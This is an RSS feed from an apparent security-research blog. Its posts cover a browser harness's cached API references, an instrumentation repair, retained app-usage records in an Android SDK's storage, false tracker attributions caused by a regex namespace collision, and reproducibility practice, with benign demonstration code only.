<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>yami.report — Research</title><link>https://yami.report/</link><description>Independent security research into application vulnerabilities, Android and native code, and browser/SDK trust boundaries.</description><language>en-us</language><atom:link href="https://yami.report/index.xml" rel="self" type="application/rss+xml"/><item><title>Why replacing an API property does not revoke cached references</title><link>https://yami.report/cached-api-references/</link><guid>https://yami.report/cached-api-references/</guid><pubDate>Tue, 29 Sep 2026 00:00:00 +0000</pubDate><description>A first-party browser harness needed a stable forwarding function installed before consumers cached an API—not a later property replacement.</description><content:encoded><![CDATA[<p>Replacing <code>object.method</code> changes what a subsequent property lookup returns. It does not change a function already stored in a variable. That distinction mattered in a first-party <a href="/tools/proteus/">Proteus research harness</a>: the harness needed API access to follow an attempt&rsquo;s lifecycle, while consumer code could retain a bound function before the attempt was prepared.</p>
<p>The engineering work dates to <strong>6 September 2026</strong>. This sanitized case study was published on <strong>29 September 2026</strong>. It concerns harness ownership, not a newly disclosed vulnerability in a third-party product.</p>
<h2 id="the-problem-a-property-is-not-every-reference">The problem: a property is not every reference</h2>
<p>The inspected harness controlled access to a browser resource API. Its synthetic browser fixture explicitly cached a bound API function during initialization, then used that reference when a later action began. Installing a guard only at action time would miss that alias: calls through the property could reach the guard while cached calls still reached the earlier function.</p>
<p>This is ordinary JavaScript reference behavior, not an exotic browser feature. Binding a function preserves a callable reference and its receiver; it does not arrange to look up the property again on every invocation. Restoring or replacing the property later cannot revoke that bound reference.</p>
<p>The public demonstration reduces this to an ordinary in-memory resource pool. It first caches <code>api.acquire</code>, replaces the property with a rejecting function, and checks that the cached original still issues a resource. No browser, camera, SDK, device, or network operation is involved.</p>
<h2 id="the-change-make-the-cached-reference-a-forwarding-boundary">The change: make the cached reference a forwarding boundary</h2>
<p>The first-party change installed a stable forwarding function at document start, before the consumer could cache the API. Runtime preparation connected that function to the existing attempt guard later. Installation itself did not acquire the resource.</p>
<p>There are now two distinct things: a stable function identity that consumers can retain, and mutable lifecycle state consulted whenever that function runs. The essential shape in the independently authored demonstration is:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">delegate</span> <span class="o">=</span> <span class="kc">null</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">forwarding</span> <span class="o">=</span> <span class="nx">label</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="nx">delegate</span> <span class="o">===</span> <span class="kc">null</span><span class="p">)</span> <span class="k">throw</span> <span class="k">new</span> <span class="nb">Error</span><span class="p">(</span><span class="s1">&#39;Resource attempt is not armed&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">delegate</span><span class="p">(</span><span class="nx">label</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span></code></pre></div><p>The complete source installs this function on the synthetic API. Its <code>arm()</code> operation supplies the delegate only if the boundary is still installed, not already armed, and not closed. Calls before arming fail without issuing a resource. Armed calls use the captured original with its original receiver. The demonstration uses synchronous return values and exceptions; it does not reproduce the browser API&rsquo;s promise contract or implement the harness&rsquo;s attempt guard.</p>
<p>Timing is the important prerequisite. The inspected controller registered its bootstrap through the Chrome DevTools Protocol&rsquo;s new-document script mechanism before reloading the page. Installing after a consumer has already captured the original cannot retroactively bring that reference under control.</p>
<h2 id="teardown-has-two-obligations">Teardown has two obligations</h2>
<p>First, teardown must disarm the forwarding function itself. Clearing its delegate means a cached forwarder cannot continue serving calls just because restoring the property left that function object alive. In the demonstration, teardown closes the boundary permanently: a later attempt to arm it fails.</p>
<p>Second, teardown must respect current property ownership. The first-party implementation restores the original property only when the property still contains its own forwarding function. If another owner has replaced it, cleanup leaves that replacement alone. Restoration also distinguishes an original own property from an inherited method: removing the temporary own property exposes the inherited method again.</p>
<p>These obligations are independent. Even when a later owner must be preserved, the earlier forwarder must still be disarmed. Conversely, restoring the original API intentionally makes fresh property lookups reach the original again. This design disables retained forwarding references; it is not global resource revocation. It also does not reclaim resources already issued or cancel operations already in flight.</p>
<h2 id="inspectable-artifact-and-checks">Inspectable artifact and checks</h2>
<p><a href="/research-assets/cached-api-references/demo.mjs">Download or inspect <code>demo.mjs</code></a>, then run it locally with Node.js:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">node demo.mjs
</span></span></code></pre></div><p>It has no package dependencies and uses Node&rsquo;s built-in strict assertions. It checks the original cached-reference failure, unarmed rejection without side effects, armed direct and cached calls, rejection of cached calls after teardown, original receiver preservation, own and inherited property restoration, and preservation of an intervening owner. It also checks that a closed boundary cannot be rearmed. Only after those assertions complete does it emit a concise JSON result; an assertion failure terminates execution instead. These describe runnable checks, not a claimed execution result for the retained browser fixture.</p>
<p>The new example ran on <strong>29 September 2026 with Node.js 24.15.0</strong> and emitted <code>status: &quot;passed&quot;</code> after all four scenarios completed. The <a href="/research-assets/cached-api-references/demo-result.json">execution receipt</a> binds that output to the demonstration-source digest. It does not report a run of the historical browser fixture.</p>
<h2 id="evidence-provenance-and-limits">Evidence, provenance, and limits</h2>
<p>The private first-party source inspected for this account was component commit <code>7ce62bd</code>, dated 2026-09-06: the forwarding bootstrap and controller registration, the design section on surface lifetime, and a synthetic browser fixture&rsquo;s early-bound API reference and later call. The fixture also contains resource-ownership assertions. Its existence and source inspection are evidence of intended coverage; <strong>its original execution remains unverified here</strong>. Private implementation and fixture files are not published as reproducible public artifacts.</p>
<p>The downloadable example is newly and independently authored. It contains no third-party implementation, protocol, outcome count, or captured research data. JavaScript reference semantics, Node.js assertions, and the Chrome DevTools Protocol are upstream facilities, not inventions claimed by this work.</p>
<p>Finally, this boundary assumes cooperative ordering and controlled lifecycle ownership. Hostile same-realm code can retain earlier references, replace properties, or interfere with shared execution. Passing an in-memory demonstration cannot establish complete browser coverage or security isolation. The narrower, inspectable contribution is making cached calls follow explicit lifecycle state—and ensuring cleanup does not silently seize somebody else&rsquo;s property.</p>
]]></content:encoded></item><item><title>When optional annotations erased a critical observation</title><link>https://yami.report/capture-observation-integrity/</link><guid>https://yami.report/capture-observation-integrity/</guid><pubDate>Tue, 29 Sep 2026 00:00:00 +0000</pubDate><description>An owned observer accepted optional annotations its recorder rejected. The repair preserved valid results and made critical recording failures invalidate the observation.</description><content:encoded><![CDATA[<p>An owned research observer could announce completion after losing the event containing the critical result. The trigger was not a missing result from the observed system: <strong>optional annotations accepted by the producer were rejected by the recorder, taking the whole event with them.</strong></p>
<p>The repair aligned those two validation boundaries and made a failed critical recording invalidate the observation. This is a defect in my <a href="/tools/proteus/">research instrumentation</a>, not a vulnerability claim about the system being observed.</p>
<p>The retained repair record is dated <strong>5 September 2026</strong>. This first-party account was published on <strong>29 September</strong>, using that record and source inspection rather than a new target run.</p>
<h2 id="the-mismatch">The mismatch</h2>
<p>The producer projected a critical result and optional hints into a recorder event. The recorder enforced a narrower wire-value contract than the producer. Values could therefore pass the producer&rsquo;s filter but make the recorder reject the complete event.</p>
<p>The retained inert browser fixture exercises fractional and unsafe numeric annotations, and strings whose encoded byte length exceeds the allowed limit. These are ordinary serialization-boundary problems; a string&rsquo;s character count is not its UTF-8 byte count, and a JavaScript number is not necessarily a safe integer.</p>
<p>There were two failures to address:</p>
<ol>
<li>Unsupported optional annotations could prevent a valid critical result from being recorded.</li>
<li>The observer could still label the operation complete after the recorder rejected that critical event.</li>
</ol>
<p>A successful callback or clean exit was therefore insufficient evidence of a complete observation.</p>
<h2 id="the-first-party-repair">The first-party repair</h2>
<p><strong>Use one existing validation rule at both boundaries.</strong> The producer now filters optional hints using the same wire-value predicate the recorder applies. Unsupported optional values are omitted from the recorded projection, while valid result content is retained. This changes the observer&rsquo;s representation, not the original response being observed.</p>
<p><strong>Make recording failure affect completion.</strong> Recording a critical event returns an explicit success/failure result. A failure produces a bounded instrumentation diagnostic and an <code>integrity-invalid</code> observation instead of <code>complete</code>.</p>
<p>The repair does not manufacture missing predecessor events to satisfy the recorder&rsquo;s chronology checks. If the critical event cannot be recorded under the required contract, the observation remains invalid.</p>
<h2 id="what-the-retained-fixtures-demonstrated">What the retained fixtures demonstrated</h2>
<table>
	<thead>
			<tr>
					<th>Condition</th>
					<th>Before repair</th>
					<th>After repair</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Valid critical result with unsupported optional hints</td>
					<td>A complete receipt could lack the critical result event</td>
					<td>Valid result and supported hints retained; unsupported optional hints omitted</td>
			</tr>
			<tr>
					<td>Recorder rejects a critical result</td>
					<td>Completion could still be reported</td>
					<td>Explicit recording failure and an integrity-invalid receipt</td>
			</tr>
	</tbody>
</table>
<p>The <a href="/research-assets/observer-repair/evidence.json">sanitized evidence excerpt</a> records the before/after statements and historical fixture results. The September record reports <strong>two passing inert browser tests with 136 assertions</strong>, plus <strong>five passing chronology tests with 58 assertions</strong>, and no failures in either group. These are first-party software-test totals, not outcomes from testing a third-party product.</p>
<p>The browser fixtures ran in real Chrome with inert inputs. Their recorded success supports the tested observer and recorder transitions. It does not establish every event shape a real target might emit, comprehensive browser coverage, or absence of interference with a target.</p>
<h2 id="a-demonstrated-defect-is-not-a-retrospective-diagnosis">A demonstrated defect is not a retrospective diagnosis</h2>
<p>An earlier retained observation lacked the required result despite reporting completion. The repair record explicitly leaves the cause of that earlier incident <strong>unestablished</strong>. Demonstrating a mechanism that can produce the symptom does not prove it caused that historical occurrence; the necessary contemporaneous evidence was not retained in the summary.</p>
<p>That distinction matters for defensive research. Fixing an instrument improves the reliability of later evidence, but does not retroactively turn an incomplete earlier observation into a trustworthy target result.</p>
<h2 id="public-evidence-and-its-boundary">Public evidence and its boundary</h2>
<p>This publication includes only the owned failure mechanism, first-party repair, and a sanitized transcription of inert-fixture evidence. The excerpt identifies its source fields and first-party component revision. Original integration source and browser fixtures are not redistributed, so it is not a complete reproduction package.</p>
<p>Third-party implementation details, contracts, actual-sample outcomes, and restricted captures are excluded. No historical browser fixture or target workflow was rerun for this publication. The narrower result is inspectable: optional annotation failure must not silently erase critical evidence, and failed recording must not masquerade as a complete observation.</p>
]]></content:encoded></item><item><title>Usage records for absent apps in another app’s SDK storage</title><link>https://yami.report/retained-app-usage-history/</link><guid>https://yami.report/retained-app-usage-history/</guid><pubDate>Tue, 29 Sep 2026 00:00:00 +0000</pubDate><description>Fifteen apps absent from an Android device’s current inventory had prior-use aggregates and matching records in another app’s Adjoe storage. Cross-source review separated measured usage from synthetic markers.</description><content:encoded><![CDATA[<p><strong>Can usage history for apps no longer installed still appear in another installed app’s SDK storage?</strong> In the retained September 26 investigation, yes: <strong>15 absent apps</strong> had positive Android foreground-duration and launch-count aggregates, and all 15 had matching usage-history records in an installed app’s Adjoe storage.</p>
<p>This is a finding about records present at observation time. It does <strong>not</strong> establish that those SDK rows existed before uninstall, when they were created, or how long the SDK had held them.</p>
<h2 id="what-i-investigated">What I investigated</h2>
<p>I compared the current package inventory with Android’s archived usage statistics and a separate installed app’s SDK-held inventory. The baseline contained <strong>402 currently installed packages</strong>. “Absent” here means absent from that baseline, not a reconstructed uninstall date.</p>
<p>My contribution was the cross-source analysis: identifying prior-use evidence rather than merely a package-name reference, matching that evidence to SDK rows, and interpreting the SDK’s fields against the exact inspected build. That last step mattered because a field named <code>seconds_sum</code> did not store seconds, and a duration-shaped value of <code>1</code> did not necessarily describe usage.</p>
<p>The work was performed on <strong>26 September 2026</strong>; this article was published on <strong>29 September</strong> from retained evidence. The historical investigation used read-only observations and host-side static analysis, without deliberately installing, launching or force-stopping apps, changing consent, resetting identifiers, or probing a backend. Normal background activity continued. No fresh device collection or experiment was performed for this publication.</p>
<p>Collection used <strong>existing privileged/root-read access</strong> to inspect protected device files, including the other app&rsquo;s SDK storage. That describes the investigator&rsquo;s acquisition access, not a capability demonstrated for an ordinary application. It is not evidence of an Android sandbox violation or a finding that the SDK itself required root.</p>
<h2 id="why-i-used-retained-interval-records">Why I used retained interval records</h2>
<p>The current in-memory usage-stat dump omitted almost all removed-game aggregates in this investigation. I therefore checked stored interval records rather than treating omissions from the current dump as absence from all retained history.</p>
<p>Of the 15 selected positive usage aggregates, <strong>14 came from monthly records and one from a yearly record</strong>. Those are source-selection counts, separate from the SDK counter-agreement result below. This describes the sources available in the retained investigation, not a general Android retention guarantee or a promise that the same history can be recovered on another device.</p>
<h2 id="the-evidence-in-aggregate">The evidence, in aggregate</h2>
<table>
	<thead>
			<tr>
					<th>Retained evidence</th>
					<th>Result</th>
					<th>What it supports</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Apps absent from the baseline with positive <code>foreground_ms</code> and <code>app_launch_count</code></td>
					<td>15 distinct apps: 11 games and 4 nongame comparisons</td>
					<td>Prior foreground use recorded by Android</td>
			</tr>
			<tr>
					<td>Corresponding Adjoe usage-history rows</td>
					<td>All 15 had <code>flags=2</code></td>
					<td>SDK-held records for the same absent apps</td>
			</tr>
			<tr>
					<td>SDK <code>seconds_sum</code> equal to Android <code>foreground_ms</code></td>
					<td>14 of 15</td>
					<td>Exact counter agreement for those records</td>
			</tr>
			<tr>
					<td>Historical material examined</td>
					<td>22 archives; 3,425 package-stat rows; 17,868 event rows</td>
					<td>The inspected corpus, not lifetime coverage</td>
			</tr>
			<tr>
					<td>Historical tokens without surviving name mappings</td>
					<td>293</td>
					<td>Unresolved coverage remains</td>
			</tr>
			<tr>
					<td>Surviving absent-app foreground events</td>
					<td>None</td>
					<td>The finding relies on aggregates, not individual event traces</td>
			</tr>
	</tbody>
</table>
<p>The <a href="/research-assets/retained-app-usage-history/evidence.json">public JSON transcript</a> preserves these aggregate facts and labels their retained sources without publishing anyone’s app inventory or usage times.</p>
<p>Android and the SDK are <strong>corroborating stores, not independent measurements of usage</strong>. The inspected SDK code reads Android usage statistics. Agreement between the two therefore supports the interpretation of the stored counters, but does not constitute a second independent observation of a person using an app.</p>
<p>Positive foreground duration and launch counts also do not establish gameplay progress. Foreground time can include setup, account or advertising screens.</p>
<h2 id="why-the-field-semantics-mattered">Why the field semantics mattered</h2>
<p>The exact-build static review identified a path using Android’s <a href="https://developer.android.com/reference/android/app/usage/UsageStatsManager#queryAndAggregateUsageStats(long,%20long)"><code>queryAndAggregateUsageStats</code></a>. Usage-history entries receive <code>flags=2</code>, and the SDK accumulates <a href="https://developer.android.com/reference/android/app/usage/UsageStats#getTotalTimeInForeground()"><code>getTotalTimeInForeground</code></a> in <strong>milliseconds</strong> despite the stored field’s name, <code>seconds_sum</code>. The serialization path later divides that value by 1,000.</p>
<p>An earlier row-extraction record left the units unverified. The retained exact-build semantics review resolves that uncertainty; the 14 exact counter matches corroborate the interpretation. One counter differed between the retained non-atomic snapshots. The evidence does not establish the cause of that difference.</p>
<p>Separately, <code>flags=10</code> with duration <code>1</code> denotes a synthetic package-change marker, not one second of playtime. I did not count those markers as positive usage. A zero <code>installed_at</code> value in these paths is not a recovered installation date either.</p>
<p>The inspected APK containing the SDK has SHA-256:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">7fb97d521a3510ca62ff173dffde3328e504b47dc82e17b33cdddfc63ba49d84
</span></span></code></pre></div><p>That digest identifies the software artifact used for the static interpretation. It does not prove the historical observations or make withheld device records independently reproducible. The targeted decompilation emitted the relevant methods but reported unrelated failures elsewhere; this was not a complete validation of the APK.</p>
<h2 id="storage-capability-and-delivery-are-different-claims">Storage, capability and delivery are different claims</h2>
<p>Three boundaries matter:</p>
<ol>
<li><strong>Observed storage:</strong> retained evidence contains SDK rows for the 15 absent apps with positive Android usage aggregates.</li>
<li><strong>Statically identified capability:</strong> the reviewed SDK reads usage history and has a gated initialization path capable of serializing inventory alongside device/user identifiers into a request.</li>
<li><strong>Not established:</strong> that this particular inventory was transmitted or received, retained by a backend, used to recognize a returning person, or used to decide a future reward.</li>
</ol>
<p>The static read path can obtain historical usage for apps no longer in the installed-package list. Consequently, the SDK rows could reflect a later read of Android history; the snapshot alone cannot distinguish that from SDK storage predating removal. There was no controlled before-and-after uninstall experiment.</p>
<h2 id="the-practical-privacy-boundary">The practical privacy boundary</h2>
<p>An app’s absence from the current inventory is not evidence that records of its prior use are absent elsewhere on the device. Here, the concrete boundary was between the current installation list, Android’s historical aggregates, and SDK storage belonging to another installed app.</p>
<p>That is useful when assessing what uninstalling an app does—and does not—establish about local data. It is not a finding about consent bypass, unauthorized transmission or reidentification, and it does not establish a retention policy or duration.</p>
<p>The public excerpt intentionally omits all app and package names, device identifiers, account mappings, per-app usage values, private paths, raw databases, captures and proprietary code. No synthetic demonstration is offered as evidence of this historical case. The published contribution is the aggregate result, the field interpretation and the explicit limits on what follows from them.</p>
]]></content:encoded></item><item><title>Six false tracker attributions in an Android privacy audit</title><link>https://yami.report/android-tracker-attribution/</link><guid>https://yami.report/android-tracker-attribution/</guid><pubDate>Tue, 29 Sep 2026 00:00:00 +0000</pubDate><description>A defined-class audit of installed Android builds uncovered six namespace-collision matches. Review excluded those AppMonet attributions without claiming data transmission.</description><content:encoded><![CDATA[<p>A tracker signature matched six installed packages. The evidence beneath those matches did not support the attribution.</p>
<p>The raw catalog expression <code>com.monet.</code> matched classes under <code>com.monetization.ads</code>. Reviewing the actual definitions found no classes in the exact <code>com.monet.</code> namespace in those six cases. I excluded those AppMonet attributions from the reviewed output while retaining the original matches and the reason for each correction.</p>
<p>That is the central result of this part of the audit: <strong>a signature hit was a lead to investigate, not a company attribution to publish unchanged.</strong> It is not a finding that those applications were tracker-free, nor a claim about which companies received their users&rsquo; data.</p>
<h2 id="the-question-and-scope">The question and scope</h2>
<p>On 26 September 2026, I examined tracking-related evidence on the configured Android lab device. The question was what the installed code and retained local state could actually establish about tracking capability and activity.</p>
<p>The inventory covered a single Android owner profile: 402 installed packages and 670 active base/split APK paths. Collection used ADB and existing privileged/root-read access on the lab device for package, service, settings, and protected-file reads; APK inspection ran on host-side copies. No application was deliberately launched, installed, removed, force-stopped, or instrumented. Consent, permissions, advertising identifiers, and network configuration were not changed.</p>
<p>Privileged access was part of the investigator&rsquo;s acquisition setup. It does <strong>not</strong> demonstrate that an ordinary application can read another application&rsquo;s private storage or establish an Android sandbox violation.</p>
<p>A running phone still performs background work. This was a sequence of read-only observations, not an atomic, write-frozen forensic image. The scope did not include other devices, other users&rsquo; accounts, or third-party servers.</p>
<h2 id="what-the-scanner-contributed">What the scanner contributed</h2>
<p>I built a local collection and inspection workflow that bound each installed archive to its recorded size and SHA-256, inventoried its contents, and parsed standard DEX class-definition tables. It resolved those definitions into normalized class names for comparison with a captured <a href="https://reports.exodus-privacy.eu.org/api/trackers">Exodus tracker catalog</a>.</p>
<p>The distinction between <strong>defined classes</strong> and <strong>referenced strings</strong> is important. A class name can appear in a reference, compatibility path, or string without its implementation being included in that archive. The scanner&rsquo;s class-presence evidence came from definitions, not every occurrence of a recognizable name.</p>
<p>Exodus supplied the upstream signature catalog; Android&rsquo;s SDK tools supplied the independent comparison described below. My contribution was the local acquisition/scanning workflow, its retained evidence, and the adjudication and interpretation of its output—not authorship of those upstream resources.</p>
<h2 id="the-collision">The collision</h2>
<p>The retained catalog used <code>com.monet.</code> for the AppMonet code signature. The collector treated catalog signatures as regular expressions. A regex dot is not a literal package separator, and this expression can match the beginning of <code>com.monetization.ads</code>.</p>
<table>
	<thead>
			<tr>
					<th>Reviewed evidence</th>
					<th>Result</th>
					<th>Correct interpretation</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Raw catalog match</td>
					<td>AppMonet in six packages</td>
					<td>Six attribution candidates</td>
			</tr>
			<tr>
					<td>Defined namespace found</td>
					<td><code>com.monetization.ads</code></td>
					<td>A different namespace matched the expression</td>
			</tr>
			<tr>
					<td>Exact <code>com.monet.</code> definitions</td>
					<td>Zero in all six reviewed cases</td>
					<td>The raw matches did not support that attribution</td>
			</tr>
			<tr>
					<td>Adjudication</td>
					<td>Exclude namespace-collision matches</td>
					<td>Correct the reviewed output, preserve the raw record</td>
			</tr>
	</tbody>
</table>
<p>The table aggregates the affected cases; it does not disclose the device&rsquo;s package inventory. This was a review correction, not a claim that the upstream catalog was patched or that one prefix check is a complete SDK detector.</p>
<h3 id="reproduce-the-matching-error-safely">Reproduce the matching error safely</h3>
<p>The <a href="/research-assets/android-tracker-audit/namespace-match-demo.py">standalone demonstration</a> uses synthetic normalized class names. It needs only Python 3 and reads no files, contacts no device, and makes no network requests:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="go">python3 namespace-match-demo.py
</span></span></span></code></pre></div><p>Its essential comparison is:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">raw_match</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;com.monet.&#34;</span><span class="p">,</span> <span class="n">class_name</span><span class="p">)</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl"><span class="n">exact_namespace</span> <span class="o">=</span> <span class="n">class_name</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;com.monet.&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>The demonstration includes a collision, an exact-namespace positive control, and unrelated names. It asserts the expected differences and emits JSON. It is a <strong>namespace-matching demonstration</strong>, not a DEX parser test or a reproduction of the full historical audit.</p>
<p>The newly published example ran on <strong>29 September 2026 with Python 3.12.3</strong> and passed all six synthetic checks. Its <a href="/research-assets/android-tracker-audit/demo-result.json">execution receipt</a> records the output and demonstration-source digest. This is a new synthetic run, not a fresh device audit.</p>
<h2 id="inspect-the-actual-class-extraction-contribution">Inspect the actual class-extraction contribution</h2>
<p>The <a href="/research-assets/android-tracker-audit/dex_classes.py">host-only extractor, <code>dex_classes.py</code></a>, publishes the substantive extraction path from the original scanner: follow <code>class_defs</code> through <code>type_ids</code> and <code>string_ids</code>, then normalize the resulting class descriptors. Referenced types and unrelated strings are not promoted to defined classes.</p>
<p>This is a <strong>new publication subset</strong>, not the original device collector. It adds explicit format checks, bounded table/index/string access and strict Modified UTF-8 decoding. It contains no device configuration, ADB commands, APK acquisition, network access or import-time collection. The published extractor requires neither an Android device nor root access; it reads the local DEX file you explicitly supply.</p>
<p>Download the extractor and its <a href="/research-assets/android-tracker-audit/dex_classes_demo.py">original synthetic fixtures, <code>dex_classes_demo.py</code></a>, to the same directory. Run the demonstration without supplying any private input:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="go">python3 dex_classes_demo.py
</span></span></span></code></pre></div><p>To inspect an explicitly supplied local DEX file that you are permitted to analyze:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="cl"><span class="go">python3 dex_classes.py classes.dex
</span></span></span></code></pre></div><p>The command emits a JSON <code>defined_classes</code> list. Unsupported or malformed extraction inputs produce a nonzero exit and a diagnostic, not a partial success result. Output can itself reveal class inventories; the tool does not upload it.</p>
<p><strong>Supported scope:</strong> standard little-endian DEX 035, 037, 038, 039 and 040 with 112-byte headers. It decodes the <a href="https://source.android.com/docs/core/runtime/dex-format#mutf-8">DEX specification&rsquo;s Modified UTF-8</a>, including paired supplementary characters and declared UTF-16 lengths. Unpaired surrogates, Compact DEX, 041 containers, other versions and reverse-endian files are rejected. Checksums, signatures, map consistency, bytecode and unused strings are not verified. This is an extractor, not a whole-file DEX validator or SDK behavior detector.</p>
<p>On <strong>29 September</strong>, the public release passed <strong>37 synthetic extraction checks</strong> and <strong>four CLI scenarios</strong> using Python 3.12.3. The checks cover definitions versus references, supported versions, Unicode, empty definitions, and malformed/unsupported boundaries. The <a href="/research-assets/android-tracker-audit/dex-extraction-result.json">execution receipt</a> records the results and hashes of both published source files. The fixtures are original in-memory constructions; they were not used for the historical 80,225-class comparison below.</p>
<h2 id="independent-verification-and-retained-limitations">Independent verification and retained limitations</h2>
<p>The retained verification record accounts for all 402 packages and 670 active APK paths, with no unresolved archive/DEX acquisition or parsing errors. Separately, <code>aapt badging</code> returned nonzero for 111 base APKs, largely around resource/label decoding. Those metadata failures remain limitations; “coverage complete” does not mean every metadata field or application behavior was understood.</p>
<p>An independent <code>apkanalyzer dex packages --defined-only</code> comparison on one exact base APK agreed with the scanner&rsquo;s package class set on all <strong>80,225 defined classes</strong>, with no missing or additional classes and a matching APK digest. The <a href="/research-assets/android-tracker-audit/evidence.json">public evidence excerpt</a> retains that software-artifact digest but omits its package name and device installation path.</p>
<p>This corroborates class extraction for that artifact. It does not establish every detection rule&rsquo;s precision or every APK&rsquo;s behavior.</p>
<h2 id="presence-activity-and-transmission-are-different-claims">Presence, activity, and transmission are different claims</h2>
<p>Defined classes establish bundled capability. A permission or stored identifier establishes a different kind of evidence. A queued event can establish locally recorded activity, but not delivery. UID traffic counters establish attributed volume, not a particular field, destination, or purpose.</p>
<p>This audit did not establish a decoded, attributable transfer of a particular personal-data field. Obfuscation, dynamically loaded code, native implementations, first-party telemetry, and server-side forwarding also limit namespace-based inspection. A zero match is not a privacy clearance.</p>
<p>The useful outcome is a more defensible attribution and a clearer boundary on what the evidence can say. That boundary matters before a scanner&rsquo;s output becomes a public allegation.</p>
<h2 id="published-material-and-provenance">Published material and provenance</h2>
<p>This article publishes an allowlisted aggregate evidence excerpt, a namespace demonstration, and a bounded release of the class-extraction implementation with original synthetic fixtures. The underlying reports are dated 26 September; the public material and new execution receipts are dated 29 September. Historical findings were not re-collected for publication, and the full device collector is not released.</p>
<p>Raw service dumps, device identifiers, account mappings, local databases, complete package/class inventories, and APKs are withheld. The catalog snapshot digest is included so its identity is not confused with whatever the live catalog contains later.</p>
<p>Public method references: <a href="https://reports.exodus-privacy.eu.org/api/trackers">Exodus tracker catalog</a> and <a href="https://developer.android.com/tools/apkanalyzer">Android SDK apkanalyzer</a>. These describe tooling; they are not independent attestation of this device audit.</p>
]]></content:encoded></item><item><title>Reproducibility starts with the build</title><link>https://yami.report/reproducible-security-research/</link><guid>https://yami.report/reproducible-security-research/</guid><pubDate>Tue, 29 Sep 2026 00:00:00 +0000</pubDate><description>A reproducible security claim binds its scope, executable build, inputs, and interpretation to evidence another reader can evaluate.</description><content:encoded><![CDATA[<p>A command line is not a complete reproduction. The same command can select a different dependency, load a changed binary, or interpret a record with a newer parser. If those changes are invisible, an apparently repeatable procedure can answer a different question on every run.</p>
<p>This is a methods note, not a new vulnerability disclosure or an announcement of fresh experimental results. Its subject is the evidence needed to make a technical claim portable without overstating what has been checked.</p>
<h2 id="bind-the-claim-to-the-executable">Bind the claim to the executable</h2>
<p>Start with the artifact that actually ran. A product name and release label are useful navigation aids, but they may not uniquely identify a binary. Packaging variants, architecture, dependency resolution, and build configuration can all matter.</p>
<p>Record enough identity to distinguish the relevant executable and its dependencies: a release version where available, content digests for retained artifacts, and the acquisition context. Keep a lockfile or equivalent dependency record when the reproduction depends on a resolved software environment. An address in a reverse-engineering note is meaningful only with its binary identity and address convention.</p>
<p>Not every identity detail belongs on a public page. Private artifact names and acquisition records may remain restricted. The published claim should still say which build was examined and which information a reader would need to repeat it. A digest identifies bytes; it is neither permission to redistribute those bytes nor proof that they are trustworthy.</p>
<h2 id="state-the-question-narrowly">State the question narrowly</h2>
<p>Define the entry point, relevant configuration, and expected observation. Separate prerequisites from consequences.</p>
<p>The <a href="/cve-2024-30260-undici-redirect-credential-leak/">Undici reproduction</a> provides a concrete example: the claim concerns a supplied header crossing an origin boundary during an enabled redirect. It is not a claim that every request leaks credentials. It is also an independent reproduction of a published advisory, not an original discovery.</p>
<p>A narrow claim makes a negative result useful. If a header is absent at the destination, the next questions are whether the relevant request path ran and whether the prerequisite header was present—not whether to broaden the claim until the result fits.</p>
<h2 id="preserve-the-input-to-output-chain">Preserve the input-to-output chain</h2>
<p>For each observation, distinguish original inputs, raw outputs, and derived interpretations. A compact provenance record might describe:</p>
<table>
	<thead>
			<tr>
					<th>Layer</th>
					<th>What it establishes</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>Executable identity</td>
					<td>Which implementation the claim concerns</td>
			</tr>
			<tr>
					<td>Input and configuration</td>
					<td>Which conditions were deliberately supplied</td>
			</tr>
			<tr>
					<td>Raw observation</td>
					<td>What the instrument actually retained</td>
			</tr>
			<tr>
					<td>Transformation identity</td>
					<td>How raw evidence became a summary</td>
			</tr>
			<tr>
					<td>Interpretation</td>
					<td>What conclusion is supported, with its limits</td>
			</tr>
	</tbody>
</table>
<p>A screenshot can explain behavior, but may omit timing, hidden fields, or preceding state. A structured record can preserve those details, but may itself be produced by a faulty observer. Neither format removes the need to describe the instrument and its blind spots.</p>
<h2 id="replay-is-a-different-experiment">Replay is a different experiment</h2>
<p>Replaying a retained record can establish that a particular parser or decision rule behaves consistently on those bytes. That is valuable for regression work. It does not establish that the bytes faithfully represent the target, or that a later target build behaves the same way.</p>
<p>Use synthetic fixtures to isolate boundary conditions and retained observations to test realistic inputs. Label each accordingly. A replay passing after a parser change supports a parser claim; target accuracy needs evidence from the target. The <a href="/capture-observation-integrity/">capture-integrity note</a> explains why a missing terminal observation must not silently become a successful result.</p>
<h2 id="make-gaps-visible">Make gaps visible</h2>
<p>If a dependency is unavailable, a required event was not recorded, or a remediation has not been rerun, say so. “Not observed” is different from “cannot occur.” A failed reproduction may narrow the conditions without disproving the original report.</p>
